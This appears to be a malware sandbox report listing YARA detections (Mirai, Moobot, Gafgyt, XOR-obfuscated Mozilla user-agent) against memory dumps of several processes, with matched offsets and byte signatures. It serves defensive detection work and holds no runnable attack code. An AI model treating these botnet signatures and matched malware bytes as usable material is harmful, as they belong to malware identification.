0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6716.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6878.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6878.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6878.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6878.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6878.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6878.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7128.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7113.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7113.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7113.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7113.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7113.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7113.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7004.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7004.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7004.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7004.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7004.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7004.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7418.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7202.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7095.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6370.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7095.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7095.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7095.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7095.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7095.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7339.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7339.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7339.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7339.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7339.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7339.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7346.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6385.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
